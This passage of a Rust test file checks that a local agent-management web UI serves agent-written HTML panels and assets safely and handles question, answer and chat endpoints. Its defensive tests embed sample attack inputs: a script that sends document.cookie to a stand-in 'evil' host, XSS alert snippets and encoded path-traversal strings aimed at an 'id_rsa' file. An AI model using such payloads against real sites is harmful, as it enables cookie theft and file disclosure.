7106 assert!(crate::deputy::can_start(Some(&on), ""));
7107 assert!(crate::deputy::can_start(Some(&on), "stub"));
7108 let mut off = on.clone();
7109 off.daemon.max_deputies = 0;
7110 assert!(!crate::deputy::can_start(Some(&off), ""));
7111 let mut empty = on;
7112 empty.agents.clear();
7113 assert!(!crate::deputy::can_start(Some(&empty), ""));
7114 assert!(!crate::deputy::can_start(None, ""));
7115 }
7116
7117 #[test]
7118 fn question_views_load_the_config_once() {
7119 let dir = TempDir::new().unwrap();
7120 let store = ask::Questions::at(dir.path().to_path_buf());
7121 let mut with_deputy = plain_question("b");
7122 with_deputy.deputy = Some(ask::Deputy::new("brief".to_owned()));
7123 let qs = vec![plain_question("a"), with_deputy, plain_question("c")];
7124
7125 let calls = std::cell::Cell::new(0usize);
7126 let views = question_views(qs.clone(), &store, || {
7127 calls.set(calls.get() + 1);
7128 Some(stub_config())
7129 });
7130 assert_eq!(calls.get(), 1);
7131 assert_eq!(views.len(), 3);
7132 for (v, q) in views.iter().zip(&qs) {
7133 assert_eq!(
7134 v.deputies_enabled,
7135 crate::deputy::can_start(Some(&stub_config()), crate::deputy::agent_of(q))
7136 );
7137 }
7138
7139 let views = question_views(qs, &store, || None);
7140 assert!(views.iter().all(|v| !v.deputies_enabled));
7141
7142 let calls = std::cell::Cell::new(0usize);
7143 let views = question_views(Vec::new(), &store, || {
7144 calls.set(calls.get() + 1);
7145 None
7146 });
7147 assert!(views.is_empty());
7148 assert_eq!(calls.get(), 0);
7149 }
7150
7151 use pretty_assertions::assert_eq;
7152 use serde_json::Value;
7153 use tempfile::TempDir;
7154 use tokio::io::{AsyncReadExt as _, AsyncWriteExt as _};
7155
7156 use super::*;
7157 use crate::config::Config;
7158 use crate::queue::Source;
7159
7160 const SETTLE_STEPS: usize = 3_000;
7171
7172 struct Fixture {
7178 home: TempDir,
7179 addr: SocketAddr,
7180 }
7181
7182 impl Fixture {
7183 async fn start() -> Self {
7184 Self::with_loop(launch_idle).await
7185 }
7186
7187 async fn with_loop(launch: Launch) -> Self {
7189 let home = TempDir::new().expect("temp home");
7190 let addr = Self::serve(home.path(), PathBuf::from("/repo/magi"), launch, None).await;
7191 Self { home, addr }
7192 }
7193
7194 async fn with_repo(repo: PathBuf) -> Self {
7198 let home = TempDir::new().expect("temp home");
7199 let addr = Self::serve(home.path(), repo, launch_idle, None).await;
7200 Self { home, addr }
7201 }
7202
7203 async fn with_repo_and_machine(repo: PathBuf, machine: PathBuf) -> Self {
7206 let home = TempDir::new().expect("temp home");
7207 let addr = Self::serve(home.path(), repo, launch_idle, Some(machine)).await;
7208 Self { home, addr }
7209 }
7210
7211 async fn serve(
7212 home: &FsPath,
7213 repo: PathBuf,
7214 launch: Launch,
7215 machine: Option<PathBuf>,
7216 ) -> SocketAddr {
7217 let queue = Queue::at(home.join("queue"));
7218 let runs = home.join("runs");
7219 std::fs::create_dir_all(&runs).expect("runs dir");
7220 let worktrees = home.join("wt").join("magi");
7221 std::fs::create_dir_all(&worktrees).expect("worktrees dir");
7222 let ui = Ui::new(
7223 queue,
7224 Questions::at(home.join("questions")),
7225 Talks::at(home.join("talks")),
7226 runs,
7227 home.to_path_buf(),
7228 repo,
7229 )
7230 .with_worktrees_root(worktrees)
7231 .with_machine_config(machine)
7232 .with_launch(launch);
7233 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
7234 .await
7235 .expect("bind loopback");
7236 let addr = listener.local_addr().expect("local addr");
7237 tokio::spawn(async move {
7238 let _ = axum::serve(listener, ui.router()).await;
7239 });
7240 addr
7241 }
7242
7243 fn queue(&self) -> Queue {
7244 Queue::at(self.home.path().join("queue"))
7245 }
7246
7247 fn questions(&self) -> Questions {
7248 Questions::at(self.home.path().join("questions"))
7249 }
7250
7251 fn talks(&self) -> Talks {
7252 Talks::at(self.home.path().join("talks"))
7253 }
7254
7255 fn runs(&self) -> PathBuf {
7256 self.home.path().join("runs")
7257 }
7258
7259 async fn get(&self, path: &str) -> Res {
7260 request(self.addr, "GET", path, None).await
7261 }
7262
7263 async fn head(&self, path: &str) -> Res {
7268 request(self.addr, "HEAD", path, None).await
7269 }
7270
7271 async fn post(&self, path: &str, body: Option<&str>) -> Res {
7272 request(self.addr, "POST", path, body).await
7273 }
7274
7275 async fn get_with(&self, path: &str, extra: &[(&str, &str)]) -> Res {
7276 request_with(self.addr, "GET", path, None, extra).await
7277 }
7278
7279 async fn delete(&self, path: &str) -> Res {
7280 request(self.addr, "DELETE", path, None).await
7281 }
7282
7283 async fn put(&self, path: &str, body: &str) -> Res {
7284 request(self.addr, "PUT", path, Some(body)).await
7285 }
7286
7287 async fn post_bytes(&self, path: &str, headers: &[(&str, &str)], body: &[u8]) -> Res {
7289 request_bytes(self.addr, path, headers, body).await
7290 }
7291 }
7292
7293 struct Res {
7294 status: u16,
7295 headers: String,
7296 head: String,
7301 body: String,
7302 bytes: Vec<u8>,
7306 }
7307
7308 impl Res {
7309 fn json(&self) -> Value {
7310 serde_json::from_str(&self.body)
7311 .unwrap_or_else(|e| panic!("body is not json ({e}): {}", self.body))
7312 }
7313
7314 fn header(&self, name: &str) -> Option<&str> {
7316 self.head.lines().find_map(|line| {
7317 let (key, value) = line.split_once(':')?;
7318 key.trim()
7319 .eq_ignore_ascii_case(name)
7320 .then(|| value.trim_start().trim_end_matches('\r'))
7321 })
7322 }
7323 }
7324
7325 async fn request(addr: SocketAddr, method: &str, path: &str, body: Option<&str>) -> Res {
7328 request_with(addr, method, path, body, &[]).await
7329 }
7330
7331 async fn request_with(
7335 addr: SocketAddr,
7336 method: &str,
7337 path: &str,
7338 body: Option<&str>,
7339 extra: &[(&str, &str)],
7340 ) -> Res {
7341 let mut head = format!("{method} {path} HTTP/1.1\r\nHost: magi\r\nConnection: close\r\n");
7342 for (name, value) in extra {
7343 head.push_str(&format!("{name}: {value}\r\n"));
7344 }
7345 if let Some(body) = body {
7346 head.push_str("Content-Type: application/json\r\n");
7347 head.push_str(&format!("Content-Length: {}\r\n", body.len()));
7348 }
7349 head.push_str("\r\n");
7350 if let Some(body) = body {
7351 head.push_str(body);
7352 }
7353 let mut socket = tokio::net::TcpStream::connect(addr)
7354 .await
7355 .expect("connect to the test server");
7356 socket
7357 .write_all(head.as_bytes())
7358 .await
7359 .expect("write request");
7360 let mut raw = Vec::new();
7361 socket.read_to_end(&mut raw).await.expect("read response");
7362 let split = raw
7365 .windows(4)
7366 .position(|w| w == b"\r\n\r\n")
7367 .expect("a header block");
7368 let head = String::from_utf8_lossy(&raw[..split]).into_owned();
7369 let bytes = raw[split + 4..].to_vec();
7370 let status = head
7371 .lines()
7372 .next()
7373 .and_then(|line| line.split_whitespace().nth(1))
7374 .and_then(|code| code.parse().ok())
7375 .expect("a status line");
7376 Res {
7377 status,
7378 headers: head.to_lowercase(),
7379 head,
7380 body: String::from_utf8_lossy(&bytes).into_owned(),
7381 bytes,
7382 }
7383 }
7384
7385 async fn request_bytes(
7391 addr: SocketAddr,
7392 path: &str,
7393 headers: &[(&str, &str)],
7394 body: &[u8],
7395 ) -> Res {
7396 let mut head = format!("POST {path} HTTP/1.1\r\nHost: magi\r\nConnection: close\r\n");
7397 for (name, value) in headers {
7398 head.push_str(&format!("{name}: {value}\r\n"));
7399 }
7400 head.push_str(&format!("Content-Length: {}\r\n\r\n", body.len()));
7401 let mut socket = tokio::net::TcpStream::connect(addr)
7402 .await
7403 .expect("connect to the test server");
7404 socket
7405 .write_all(head.as_bytes())
7406 .await
7407 .expect("write request head");
7408 socket.write_all(body).await.expect("write request body");
7409 let mut raw = Vec::new();
7410 socket.read_to_end(&mut raw).await.expect("read response");
7411 let split = raw
7412 .windows(4)
7413 .position(|w| w == b"\r\n\r\n")
7414 .expect("a header block");
7415 let head = String::from_utf8_lossy(&raw[..split]).into_owned();
7416 let bytes = raw[split + 4..].to_vec();
7417 let status = head
7418 .lines()
7419 .next()
7420 .and_then(|line| line.split_whitespace().nth(1))
7421 .and_then(|code| code.parse().ok())
7422 .expect("a status line");
7423 Res {
7424 status,
7425 headers: head.to_lowercase(),
7426 head,
7427 body: String::from_utf8_lossy(&bytes).into_owned(),
7428 bytes,
7429 }
7430 }
7431
7432 fn write_run(runs: &FsPath, id: &str, status: RunStatus) {
7434 let mut state = RunState::new(
7435 PathBuf::from("/repo/magi"),
7436 "main".to_owned(),
7437 "0123456789abcdef".to_owned(),
7438 "Add a web UI\n\nMobile first.".to_owned(),
7439 Config::default(),
7440 );
7441 state.id = id.to_owned();
7442 state.status = status;
7443 let dir = runs.join(id);
7444 std::fs::create_dir_all(&dir).expect("run dir");
7445 std::fs::write(
7446 dir.join("run.json"),
7447 serde_json::to_string_pretty(&state).expect("serialize run"),
7448 )
7449 .expect("write run.json");
7450 }
7451
7452 fn write_run_repo(runs: &FsPath, id: &str, status: RunStatus, repo: &str) {
7456 let mut state = RunState::new(
7457 PathBuf::from(repo),
7458 "main".to_owned(),
7459 "0123456789abcdef".to_owned(),
7460 "task".to_owned(),
7461 Config::default(),
7462 );
7463 state.id = id.to_owned();
7464 state.status = status;
7465 let dir = runs.join(id);
7466 std::fs::create_dir_all(&dir).expect("run dir");
7467 std::fs::write(
7468 dir.join("run.json"),
7469 serde_json::to_string_pretty(&state).expect("serialize run"),
7470 )
7471 .expect("write run.json");
7472 }
7473
7474 fn write_daemon(home: &FsPath, updated_at: Timestamp) {
7475 let body = serde_json::json!({
7476 "schema": 1,
7477 "pid": 4242,
7478 "started_at": Timestamp::now().to_string(),
7479 "updated_at": updated_at.to_string(),
7480 "idle": false,
7481 "current": [{ "task": "20260902-140501-aaaa", "run": "20260902-140502-bbbb" }],
7482 "completed": 7,
7483 "polls": 143,
7484 });
7485 std::fs::write(home.join("daemon.json"), body.to_string()).expect("write daemon.json");
7486 }
7487
7488 fn launch_idle(
7498 _opts: daemon::Opts,
7499 stop: daemon::Stop,
7500 ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
7501 Box::pin(async move {
7502 while !stop.stopped() {
7503 tokio::time::sleep(Duration::from_millis(2)).await;
7504 }
7505 Ok(())
7506 })
7507 }
7508
7509 fn launch_broken(
7512 _opts: daemon::Opts,
7513 _stop: daemon::Stop,
7514 ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
7515 Box::pin(async {
7516 Err(anyhow::anyhow!(
7517 "publish the daemon status file: read-only file system"
7518 ))
7519 })
7520 }
7521
7522 static PARK_KNOCK: std::sync::Mutex<Option<SocketAddr>> = std::sync::Mutex::new(None);
7529 static PARK_HEARD: std::sync::Mutex<Option<u16>> = std::sync::Mutex::new(None);
7530
7531 fn launch_knocking_on_the_way_out(
7538 _opts: daemon::Opts,
7539 stop: daemon::Stop,
7540 ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
7541 Box::pin(async move {
7542 while !stop.stopped() {
7543 tokio::time::sleep(Duration::from_millis(2)).await;
7544 }
7545 let addr = PARK_KNOCK
7546 .lock()
7547 .expect("park knock")
7548 .expect("the test set an address");
7549 let heard = request(addr, "GET", "/api/health", None).await.status;
7550 *PARK_HEARD.lock().expect("park heard") = Some(heard);
7551 Ok(())
7552 })
7553 }
7554
7555 async fn settled(fx: &Fixture, want: fn(&Value) -> bool) -> Value {
7564 for _ in 0..SETTLE_STEPS {
7565 let view = fx.get("/api/loop").await.json();
7566 if want(&view) {
7567 return view;
7568 }
7569 tokio::time::sleep(Duration::from_millis(10)).await;
7570 }
7571 panic!(
7572 "the loop never settled: {}",
7573 fx.get("/api/loop").await.json()
7574 );
7575 }
7576
7577 fn ask(fx: &Fixture, summary: &str, choices: &[&str]) -> String {
7579 let store = fx.questions();
7580 let mut q = Question::new(
7581 "20260902-000000-beef".to_owned(),
7582 "implement".to_owned(),
7583 "impl-A".to_owned(),
7584 summary.to_owned(),
7585 "because it matters".to_owned(),
7586 choices.iter().map(|c| (*c).to_owned()).collect(),
7587 );
7588 store.put(&mut q).expect("put question");
7589 q.id
7590 }
7591
7592 fn panel(fx: &Fixture, html: &str, assets: &[(&str, &[u8])]) -> String {
7598 let store = fx.questions();
7599 let mut q = Question::new(
7600 "20260902-000000-beef".to_owned(),
7601 "land".to_owned(),
7602 "fix".to_owned(),
7603 "Merge this?".to_owned(),
7604 "the diff is in the panel".to_owned(),
7605 vec!["merge".to_owned(), "hold".to_owned()],
7606 );
7607 let staging = fx.home.path().join("staging");
7610 std::fs::create_dir_all(&staging).expect("staging dir");
7611 let sources: Vec<PathBuf> = assets
7612 .iter()
7613 .map(|(name, bytes)| {
7614 let path = staging.join(name);
7615 std::fs::write(&path, bytes).expect("write staged asset");
7616 path
7617 })
7618 .collect();
7619 store
7620 .put_panel(&mut q, html, &sources)
7621 .expect("write the panel");
7622 store.put(&mut q).expect("put question");
7623 q.id
7624 }
7625
7626 fn seed_talk(fx: &Fixture, id: &str, status: &str) -> String {
7635 seed_talk_at(&fx.talks(), id, status)
7636 }
7637
7638 fn seed_talk_at(store: &Talks, id: &str, status: &str) -> String {
7639 std::fs::create_dir_all(store.root()).expect("talks dir");
7640 let seat = serde_json::to_value(crate::agent::SeatState::new("talk", "mock", 7))
7641 .expect("serialize a seat");
7642 let body = serde_json::json!({
7643 "schema": 1,
7644 "id": id,
7645 "repo": "/repo/magi",
7646 "agent": "mock",
7647 "status": status,
7648 "turns": [],
7649 "created_at": Timestamp::now().to_string(),
7650 "updated_at": Timestamp::now().to_string(),
7651 "seat": seat,
7652 });
7653 std::fs::write(store.path_of(id), body.to_string()).expect("write the talk");
7654 store.get(id).expect("the seeded talk has to be readable");
7655 id.to_owned()
7656 }
7657
7658 #[tokio::test]
7659 async fn both_panel_routes_send_the_whole_policy_that_makes_agent_html_safe() {
7660 let fx = Fixture::start().await;
7661 let id = panel(
7662 &fx,
7663 "<h1>Merge?</h1><img src=\"diff.svg\">",
7664 &[("diff.svg", b"<svg xmlns='http://www.w3.org/2000/svg'/>")],
7665 );
7666
7667 for path in [
7668 format!("/api/questions/{id}/panel"),
7669 format!("/api/questions/{id}/asset/diff.svg"),
7670 ] {
7671 let res = fx.get(&path).await;
7672 assert_eq!(res.status, 200, "{path}: {}", res.body);
7673 assert_eq!(
7679 res.header("content-security-policy"),
7680 Some(
7681 "default-src 'none'; img-src 'self' data:; style-src 'unsafe-inline'; \
7682 font-src data:; base-uri 'none'; form-action 'none'; \
7683 frame-ancestors 'self'"
7684 ),
7685 "{path} is the only thing between a hostile panel and the tailnet"
7686 );
7687 assert_eq!(
7688 res.header("x-content-type-options"),
7689 Some("nosniff"),
7690 "{path}: a browser must not re-decide the type we sent"
7691 );
7692 assert_eq!(
7693 res.header("referrer-policy"),
7694 Some("no-referrer"),
7695 "{path}: a panel must not leak the question id off the machine"
7696 );
7697
7698 let pre = fx.head(&path).await;
7703 assert_eq!(pre.status, res.status, "{path}: HEAD must agree with GET");
7704 assert_eq!(
7705 pre.header("content-security-policy"),
7706 res.header("content-security-policy"),
7707 "{path}: the preflight carries the same policy"
7708 );
7709 assert_eq!(
7710 pre.header("content-type"),
7711 res.header("content-type"),
7712 "{path}: the preflight carries the same type"
7713 );
7714 }
7715 }
7716
7717 #[tokio::test]
7718 async fn a_panel_reaches_the_browser_byte_for_byte() {
7719 let fx = Fixture::start().await;
7720 let html = "<h1>Merge?</h1><p>a < b — 変更</p><script>alert(1)</script>";
7725 let id = panel(&fx, html, &[]);
7726
7727 let res = fx.get(&format!("/api/questions/{id}/panel")).await;
7728
7729 assert_eq!(res.status, 200);
7730 assert_eq!(res.bytes, html.as_bytes(), "served verbatim, not sanitised");
7731 assert_eq!(res.header("content-type"), Some("text/html; charset=utf-8"));
7732 assert_eq!(
7733 res.header("content-disposition"),
7734 None,
7735 "the panel itself is rendered in the frame, not downloaded"
7736 );
7737 }
7738
7739 #[tokio::test]
7740 async fn an_svg_asset_is_a_download_and_a_png_is_not() {
7741 let fx = Fixture::start().await;
7742 let svg = b"<svg xmlns='http://www.w3.org/2000/svg'><script>alert(1)</script></svg>";
7743 let png = b"\x89PNG\r\n\x1a\n\x00\x00\x00\rIHDR".as_slice();
7744 let id = panel(
7745 &fx,
7746 "<img src=\"diff.svg\"><img src=\"shot.png\">",
7747 &[("diff.svg", svg), ("shot.png", png)],
7748 );
7749
7750 let as_svg = fx.get(&format!("/api/questions/{id}/asset/diff.svg")).await;
7751 let as_png = fx.get(&format!("/api/questions/{id}/asset/shot.png")).await;
7752
7753 assert_eq!(as_svg.status, 200);
7754 assert_eq!(as_svg.header("content-type"), Some("image/svg+xml"));
7755 assert_eq!(as_svg.header("content-disposition"), Some("attachment"));
7760
7761 assert_eq!(as_png.status, 200);
7762 assert_eq!(as_png.header("content-type"), Some("image/png"));
7763 assert_eq!(
7764 as_png.header("content-disposition"),
7765 None,
7766 "a raster image has no execution surface, so tapping it still shows it"
7767 );
7768 assert_eq!(as_png.bytes, png, "a binary asset survives the round trip");
7769 }
7770
7771 #[tokio::test]
7772 async fn an_html_asset_is_never_served_as_html() {
7773 let fx = Fixture::start().await;
7774 let id = panel(
7775 &fx,
7776 "<p>see the notes</p>",
7777 &[
7778 (
7779 "notes.html",
7780 b"<script>fetch('http://evil/'+document.cookie)</script>",
7781 ),
7782 ("hook.js", b"fetch('http://evil/')"),
7783 ("data.json", b"{}"),
7784 ("HEADLINE.TXT", b"plain"),
7785 ],
7786 );
7787
7788 for name in ["notes.html", "hook.js", "data.json"] {
7789 let res = fx.get(&format!("/api/questions/{id}/asset/{name}")).await;
7790 assert_eq!(res.status, 200, "{name}: {}", res.body);
7791 assert_eq!(
7796 res.header("content-type"),
7797 Some("application/octet-stream"),
7798 "{name} must not be a type the browser will execute or render"
7799 );
7800 }
7801 let txt = fx
7804 .get(&format!("/api/questions/{id}/asset/HEADLINE.TXT"))
7805 .await;
7806 assert_eq!(
7807 txt.header("content-type"),
7808 Some("text/plain; charset=utf-8")
7809 );
7810 }
7811
7812 #[tokio::test]
7813 async fn no_spelling_of_a_traversing_asset_name_reaches_the_filesystem() {
7814 let fx = Fixture::start().await;
7815 let id = panel(&fx, "<p>x</p>", &[("diff.svg", b"<svg/>")]);
7816 std::fs::write(fx.questions().root().join("id_rsa"), b"secret").expect("write the bait");
7820
7821 for encoded in [
7828 "%2e%2e%2fid_rsa",
7829 "..%2fid_rsa",
7830 "..%5cid_rsa",
7831 "%2e%2e%5cid_rsa",
7832 "diff%00.svg",
7833 "..",
7834 ".hidden",
7835 "%2e%2e%2f%2e%2e%2fid_rsa",
7836 ] {
7837 let res = fx
7838 .get(&format!("/api/questions/{id}/asset/{encoded}"))
7839 .await;
7840 assert_eq!(
7841 res.status, 400,
7842 "`{encoded}` has to be refused by name, not looked up: {}",
7843 res.body
7844 );
7845 assert!(res.json()["error"].is_string(), "{}", res.body);
7846 }
7847
7848 for literal in ["../id_rsa", "../../questions/id_rsa", "..%5c../id_rsa"] {
7854 let res = fx
7855 .get(&format!("/api/questions/{id}/asset/{literal}"))
7856 .await;
7857 assert_eq!(
7858 res.status, 404,
7859 "`{literal}` must not match the asset route at all: {}",
7860 res.body
7861 );
7862 }
7863 }
7864
7865 #[tokio::test]
7866 async fn a_missing_panel_and_an_unknown_asset_are_both_json_404s() {
7867 let fx = Fixture::start().await;
7868 let plain = ask(&fx, "Which backend?", &["SQLite"]);
7869 let with_panel = panel(&fx, "<p>x</p>", &[("diff.svg", b"<svg/>")]);
7870
7871 let none = fx.get(&format!("/api/questions/{plain}/panel")).await;
7875 assert_eq!(none.status, 404, "{}", none.body);
7876 assert!(none.json()["error"].is_string(), "{}", none.body);
7877 assert_eq!(
7878 fx.head(&format!("/api/questions/{plain}/panel"))
7879 .await
7880 .status,
7881 404,
7882 "the preflight is the only way the client can learn this"
7883 );
7884
7885 let missing = fx
7887 .get(&format!("/api/questions/{with_panel}/asset/absent.png"))
7888 .await;
7889 assert_eq!(missing.status, 404, "{}", missing.body);
7890 assert!(missing.json()["error"].is_string(), "{}", missing.body);
7891
7892 assert_eq!(fx.get("/api/questions/nope/panel").await.status, 404);
7894 assert_eq!(
7895 fx.get("/api/questions/nope/asset/diff.svg").await.status,
7896 404
7897 );
7898 }
7899
7900 #[tokio::test]
7901 async fn a_run_with_an_open_question_reads_as_waiting() {
7902 let fx = Fixture::start().await;
7903 let run = "20260902-000000-beef".to_owned();
7904 write_run(&fx.runs(), &run, RunStatus::Implementing);
7905
7906 let before = fx.get("/api/runs").await.json();
7907 assert_eq!(before[0]["waiting"], false, "{before}");
7908
7909 let store = fx.questions();
7910 let mut q = Question::new(
7911 run.clone(),
7912 "implement".to_owned(),
7913 "impl-A".to_owned(),
7914 "Which backend?".to_owned(),
7915 String::new(),
7916 vec!["SQLite".to_owned()],
7917 );
7918 store.put(&mut q).expect("put");
7919
7920 let during = fx.get("/api/runs").await.json();
7921 assert_eq!(during[0]["waiting"], true, "{during}");
7922
7923 q.answer(Answer::Choice("SQLite".to_owned()))
7926 .expect("answer");
7927 store.put(&mut q).expect("put");
7928 let after = fx.get("/api/runs").await.json();
7929 assert_eq!(after[0]["waiting"], false, "{after}");
7930 }
7931
7932 #[tokio::test]
7933 async fn an_open_question_is_listed_and_counted_by_health() {
7934 let fx = Fixture::start().await;
7935 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 0);
7936
7937 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
7938 let listed = fx.get("/api/questions").await.json();
7939 assert_eq!(listed.as_array().expect("array").len(), 1);
7940 assert_eq!(listed[0]["id"], id);
7941 assert_eq!(listed[0]["status"], "open");
7942 assert_eq!(listed[0]["choices"][1], "Redis");
7943 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
7946 }
7947
7948 #[tokio::test]
7949 async fn answering_records_the_choice_and_a_second_answer_conflicts() {
7950 let fx = Fixture::start().await;
7951 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
7952 let path = format!("/api/questions/{id}/answer");
7953
7954 let res = fx.post(&path, Some(r#"{"choice":"Redis"}"#)).await;
7955 assert_eq!(res.status, 200, "{}", res.body);
7956 let body = res.json();
7957 assert_eq!(body["status"], "answered");
7958 assert_eq!(body["answer"]["choice"], "Redis");
7959
7960 let again = fx.post(&path, Some(r#"{"choice":"SQLite"}"#)).await;
7964 assert_eq!(again.status, 409, "{}", again.body);
7965 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 0);
7966 }
7967
7968 #[tokio::test]
7969 async fn saying_something_appends_a_turn_without_answering() {
7970 let fx = Fixture::start().await;
7971 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
7972 let path = format!("/api/questions/{id}/say");
7973
7974 let res = fx
7975 .post(&path, Some(r#"{"body":"why not Postgres?"}"#))
7976 .await;
7977 assert_eq!(res.status, 200, "{}", res.body);
7978 let body = res.json();
7979 assert_eq!(body["status"], "open", "talking back is not a decision");
7980 assert_eq!(body["answer"], Value::Null);
7981 assert_eq!(body["thread"][0]["who"], "operator");
7982 assert_eq!(body["thread"][0]["body"], "why not Postgres?");
7983 assert_eq!(body["waiting_on_agent"], true);
7984 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
7986 }
7987
7988 #[tokio::test]
7989 async fn consulting_a_question_with_no_chat_is_refused_and_it_stays_open() {
7990 let fx = Fixture::start().await;
7991 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
7992
7993 let list = fx.get("/api/questions").await.json();
7994 assert_eq!(list[0]["origin_chat"], Value::Null, "{list}");
7995
7996 let res = fx.post(&format!("/api/questions/{id}/consult"), None).await;
7997 assert_eq!(res.status, 409, "{}", res.body);
7998 let q = fx.questions().get(&id).unwrap();
7999 assert!(q.status.open());
8000 assert!(q.consult.is_none());
8001 }
8002
8003 #[tokio::test]
8004 async fn a_question_from_a_chat_task_names_its_chat_in_the_view() {
8005 let fx = Fixture::start().await;
8006 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
8007 let cfg = Config {
8008 agents: vec![crate::config::AgentSpec {
8009 id: "mock".to_owned(),
8010 kind: crate::config::AgentKind::Command,
8011 model: None,
8012 command: vec!["true".to_owned()],
8013 extra_args: Vec::new(),
8014 env: Default::default(),
8015 prompt_delivery: None,
8016 }],
8017 ..Config::default()
8018 };
8019 let talk = crate::talk::begin(
8020 &fx.talks(),
8021 &cfg,
8022 fx.home.path().to_path_buf(),
8023 Some("mock"),
8024 )
8025 .unwrap();
8026 let mut task = Task::new(
8027 "t".to_owned(),
8028 "Do it".to_owned(),
8029 PathBuf::from("/repo/magi"),
8030 Source::Agent {
8031 run: talk.id.clone(),
8032 node: crate::queue::CHAT_NODE.to_owned(),
8033 },
8034 );
8035 task.start("20260902-000000-beef".to_owned());
8036 fx.queue().put(&mut task).unwrap();
8037
8038 let list = fx.get("/api/questions").await.json();
8039 assert_eq!(list[0]["origin_chat"], talk.id.as_str(), "{list}");
8040 assert_eq!(
8041 list[0]["choices"],
8042 serde_json::json!(["SQLite", "Redis"]),
8043 "the hand-over is never a choice"
8044 );
8045 let _ = id;
8046 }
8047
8048 #[tokio::test]
8049 async fn a_consult_that_cannot_read_its_config_leaves_nothing_to_retry_around() {
8050 let fx = Fixture::start().await;
8051 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
8052 let cfg = Config {
8053 agents: vec![crate::config::AgentSpec {
8054 id: "mock".to_owned(),
8055 kind: crate::config::AgentKind::Command,
8056 model: None,
8057 command: vec!["true".to_owned()],
8058 extra_args: Vec::new(),
8059 env: Default::default(),
8060 prompt_delivery: None,
8061 }],
8062 ..Config::default()
8063 };
8064 let repo = fx.home.path().join("chat-repo");
8066 std::fs::create_dir_all(&repo).unwrap();
8067 let toml = repo.join("magi.toml");
8068 std::fs::write(&toml, "this is = = not toml").unwrap();
8069 let talk = crate::talk::begin(&fx.talks(), &cfg, repo.clone(), Some("mock")).unwrap();
8070 let mut task = Task::new(
8071 "t".to_owned(),
8072 "Do it".to_owned(),
8073 PathBuf::from("/repo/magi"),
8074 Source::Agent {
8075 run: talk.id.clone(),
8076 node: crate::queue::CHAT_NODE.to_owned(),
8077 },
8078 );
8079 task.start("20260902-000000-beef".to_owned());
8080 fx.queue().put(&mut task).unwrap();
8081
8082 let path = format!("/api/questions/{id}/consult");
8083 let res = fx.post(&path, None).await;
8084 assert!(res.status >= 400, "{}", res.body);
8085 assert!(fx.questions().get(&id).unwrap().consult.is_none());
8086 assert!(fx.talks().get(&talk.id).unwrap().pending.is_empty());
8087
8088 std::fs::write(&toml, "").unwrap();
8089 let res = fx.post(&path, None).await;
8090 assert_eq!(res.status, 202, "{}", res.body);
8091 assert!(fx.questions().get(&id).unwrap().consult.is_some());
8092 }
8093
8094 #[tokio::test]
8095 async fn asking_back_clears_the_owner_count_until_the_agent_replies() {
8096 let fx = Fixture::start().await;
8097 let store = fx.questions();
8098 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
8099 assert_eq!(
8100 fx.get("/api/health").await.json()["questions_needs_owner"],
8101 1
8102 );
8103
8104 let res = fx
8110 .post(
8111 &format!("/api/questions/{id}/say"),
8112 Some(r#"{"body":"why not Postgres?"}"#),
8113 )
8114 .await;
8115 assert_eq!(res.status, 200, "{}", res.body);
8116 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
8117 assert_eq!(
8118 fx.get("/api/health").await.json()["questions_needs_owner"],
8119 0,
8120 "waiting on the agent is not waiting on the owner"
8121 );
8122
8123 let mut q = store.get(&id).expect("get");
8127 q.reply("because SQLite needs no server", vec!["SQLite".to_owned()])
8128 .expect("reply");
8129 store.put(&mut q).expect("put");
8130 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
8131 assert_eq!(
8132 fx.get("/api/health").await.json()["questions_needs_owner"],
8133 1,
8134 "the agent's reply is what should light the banner back up"
8135 );
8136 }
8137
8138 #[tokio::test]
8139 async fn saying_something_is_refused_when_empty_answered_or_abandoned() {
8140 let fx = Fixture::start().await;
8141 let store = fx.questions();
8142
8143 let empty_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
8144 let res = fx
8145 .post(
8146 &format!("/api/questions/{empty_id}/say"),
8147 Some(r#"{"body":" "}"#),
8148 )
8149 .await;
8150 assert_eq!(res.status, 400, "{}", res.body);
8151
8152 let answered_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
8153 let mut answered = store.get(&answered_id).expect("get");
8154 answered
8155 .answer(Answer::Choice("SQLite".to_owned()))
8156 .expect("answer");
8157 store.put(&mut answered).expect("put");
8158 let res = fx
8159 .post(
8160 &format!("/api/questions/{answered_id}/say"),
8161 Some(r#"{"body":"still there?"}"#),
8162 )
8163 .await;
8164 assert_eq!(res.status, 409, "{}", res.body);
8165
8166 let abandoned_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
8167 let mut abandoned = store.get(&abandoned_id).expect("get");
8168 abandoned.abandon("timed out");
8169 store.put(&mut abandoned).expect("put");
8170 let res = fx
8171 .post(
8172 &format!("/api/questions/{abandoned_id}/say"),
8173 Some(r#"{"body":"still there?"}"#),
8174 )
8175 .await;
8176 assert_eq!(res.status, 409, "{}", res.body);
8177 }
8178
8179 #[tokio::test]
8180 async fn an_answer_the_question_does_not_offer_is_refused() {
8181 let fx = Fixture::start().await;
8182 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
8183 let path = format!("/api/questions/{id}/answer");
8184
8185 for body in [
8186 r#"{"choice":"Postgres"}"#,
8187 r#"{"text":"whatever you think"}"#,
8188 r#"{"choice":"Redis","text":"both"}"#,
8189 r#"{}"#,
8190 ] {
8191 let res = fx.post(&path, Some(body)).await;
8192 assert_eq!(res.status, 400, "{body} should be refused: {}", res.body);
8193 assert!(res.json()["error"].is_string(), "{}", res.body);
8194 }
